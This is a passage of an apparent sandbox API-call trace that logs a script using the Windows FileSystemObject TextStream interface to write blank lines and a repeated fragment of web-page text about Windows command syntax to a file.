\"", _SizeInWords=0x27, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0148.687] wcsncpy_s (in: _Destination=0x249ca4d547e, _SizeInWords=0x24, _Source="ITextStream.WriteLine(\" \");\r\n", _MaxCount=0x23 | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0148.687] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.687] free (_Block=0x249ca4477f0) [0148.687] free (_Block=0x249c884eca0) [0148.687] free (_Block=0x249c884a540) [0148.687] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b5c0*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b5c0*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.688] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.688] SysReleaseString () returned 0x1 [0148.688] CoTaskMemFree (pv=0x249c87617f0) [0148.688] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.688] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.688] CoTaskMemAlloc (cb=0x28) returned 0x249c8761820 [0148.688] SysAddRefString () returned 0x0 [0148.688] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.688] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.688] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.688] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8767b48, pBstrHelpFile=0x249c8758f60*="黰졵ɉ") returned 0x0 [0148.688] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc876b1c8, pBstrHelpFile=0x249c8758f60*="黰졵ɉ") returned 0x0 [0148.688] malloc (_Size=0x8) returned 0x249c884ee40 [0148.688] malloc (_Size=0xb8) returned 0x249c884ee60 [0148.688] _snwprintf_s (in: _DstBuf=0x249c884ee60, _DstSizeInWords=0x5c, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"") returned 91 [0148.688] malloc (_Size=0xf2) returned 0x249ca4d5de0 [0148.688] _snwprintf_s (in: _DstBuf=0x249ca4d5de0, _DstSizeInWords=0x79, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.688] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x79, _Source="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"", _MaxCount=0x5b | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"") returned 0x0 [0148.688] wcscat_s (in: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"", _SizeInWords=0x79, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n") returned 0x0 [0148.689] wcsncpy_s (in: _Destination=0x249ca4d54c6, _SizeInWords=0x76, _Source="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n", _MaxCount=0x75 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n") returned 0x0 [0148.689] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.689] free (_Block=0x249c884ee60) [0148.689] free (_Block=0x249c884ee40) [0148.689] free (_Block=0x249ca4d5de0) [0148.689] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b618*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b618*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.689] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.689] SysReleaseString () returned 0x1 [0148.689] CoTaskMemFree (pv=0x249c8761820) [0148.689] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.689] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.689] CoTaskMemAlloc (cb=0x28) returned 0x249c87617f0 [0148.689] SysAddRefString () returned 0x0 [0148.689] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.689] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.689] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.690] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc876b1c8, pBstrHelpFile=0x249c8758f60*="頰졵ɉ") returned 0x0 [0148.690] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc87695d8, pBstrHelpFile=0x249c8758f60*="頰졵ɉ") returned 0x0 [0148.690] malloc (_Size=0x8) returned 0x249c884ed80 [0148.690] malloc (_Size=0xb8) returned 0x249c884ee60 [0148.690] _snwprintf_s (in: _DstBuf=0x249c884ee60, _DstSizeInWords=0x5c, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"") returned 91 [0148.690] malloc (_Size=0xf2) returned 0x249ca4d5de0 [0148.690] _snwprintf_s (in: _DstBuf=0x249ca4d5de0, _DstSizeInWords=0x79, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.690] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x79, _Source="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"", _MaxCount=0x5b | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"") returned 0x0 [0148.690] wcscat_s (in: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"", _SizeInWords=0x79, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n") returned 0x0 [0148.690] wcsncpy_s (in: _Destination=0x249ca4d55b2, _SizeInWords=0x76, _Source="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n", _MaxCount=0x75 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n") returned 0x0 [0148.690] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.690] free (_Block=0x249c884ee60) [0148.690] free (_Block=0x249c884ed80) [0148.690] free (_Block=0x249ca4d5de0) [0148.690] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b670*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b670*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.690] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.690] SysReleaseString () returned 0x1 [0148.690] CoTaskMemFree (pv=0x249c87617f0) [0148.690] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.690] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.691] CoTaskMemAlloc (cb=0x28) returned 0x249c8761700 [0148.691] SysAddRefString () returned 0x0 [0148.691] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.691] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.691] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.691] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc87695d8, pBstrHelpFile=0x249c8758f60*="ꈰ졵ɉ") returned 0x0 [0148.691] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc876ad48, pBstrHelpFile=0x249c8758f60*="ꈰ졵ɉ") returned 0x0 [0148.691] malloc (_Size=0x8) returned 0x249c884ece0 [0148.691] malloc (_Size=0xb8) returned 0x249c884ee60 [0148.691] _snwprintf_s (in: _DstBuf=0x249c884ee60, _DstSizeInWords=0x5c, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"") returned 91 [0148.691] malloc (_Size=0xf2) returned 0x249ca4d5de0 [0148.691] _snwprintf_s (in: _DstBuf=0x249ca4d5de0, _DstSizeInWords=0x79, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.691] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x79, _Source="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"", _MaxCount=0x5b | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"") returned 0x0 [0148.691] wcscat_s (in: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"", _SizeInWords=0x79, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n") returned 0x0 [0148.691] wcsncpy_s (in: _Destination=0x249ca4d569e, _SizeInWords=0x76, _Source="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n", _MaxCount=0x75 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n") returned 0x0 [0148.691] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.691] free (_Block=0x249c884ee60) [0148.691] free (_Block=0x249c884ece0) [0148.691] free (_Block=0x249ca4d5de0) [0148.691] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b6c8*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b6c8*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.692] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.692] SysReleaseString () returned 0x1 [0148.692] CoTaskMemFree (pv=0x249c8761700) [0148.692] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.692] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.692] CoTaskMemAlloc (cb=0x28) returned 0x249c8761b80 [0148.692] SysAddRefString () returned 0x0 [0148.692] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.692] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.692] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.692] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc876ad48, pBstrHelpFile=0x249c8758f60*="鼰졵ɉ") returned 0x0 [0148.692] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc876b6a8, pBstrHelpFile=0x249c8758f60*="鼰졵ɉ") returned 0x0 [0148.692] malloc (_Size=0x8) returned 0x249c884ee20 [0148.692] malloc (_Size=0x14) returned 0x249ca447850 [0148.692] _snwprintf_s (in: _DstBuf=0x249ca447850, _DstSizeInWords=0xa, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" \"") returned 9 [0148.692] malloc (_Size=0x4e) returned 0x249c884a540 [0148.692] _snwprintf_s (in: _DstBuf=0x249c884a540, _DstSizeInWords=0x27, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.693] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x27, _Source="\" \"", _MaxCount=0x9 | out: _Destination="ITextStream.WriteLine(\" \"") returned 0x0 [0148.693] wcscat_s (in: _Destination="ITextStream.WriteLine(\" \"", _SizeInWords=0x27, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0148.693] wcsncpy_s (in: _Destination=0x249ca4d578a, _SizeInWords=0x24, _Source="ITextStream.WriteLine(\" \");\r\n", _MaxCount=0x23 | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0148.693] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.693] free (_Block=0x249ca447850) [0148.693] free (_Block=0x249c884ee20) [0148.693] free (_Block=0x249c884a540) [0148.693] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b720*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b720*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.693] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.693] SysReleaseString () returned 0x1 [0148.693] CoTaskMemFree (pv=0x249c8761b80) [0148.693] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.693] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.693] CoTaskMemAlloc (cb=0x28) returned 0x249c87615e0 [0148.693] SysAddRefString () returned 0x0 [0148.693] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.693] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.694] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.694] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc876b6a8, pBstrHelpFile=0x249c8758f60*="ꎰ졵ɉ") returned 0x0 [0148.694] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, 